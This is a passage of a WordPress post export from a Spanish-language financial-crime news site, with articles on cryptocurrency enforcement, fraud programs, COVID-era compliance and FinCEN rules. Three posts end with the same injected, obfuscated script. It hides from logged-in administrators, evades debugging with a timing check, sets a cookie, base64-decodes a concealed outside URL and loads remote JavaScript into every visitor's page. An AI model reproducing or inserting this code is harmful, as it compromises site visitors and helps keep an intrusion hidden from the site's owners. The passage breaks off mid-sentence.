llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las 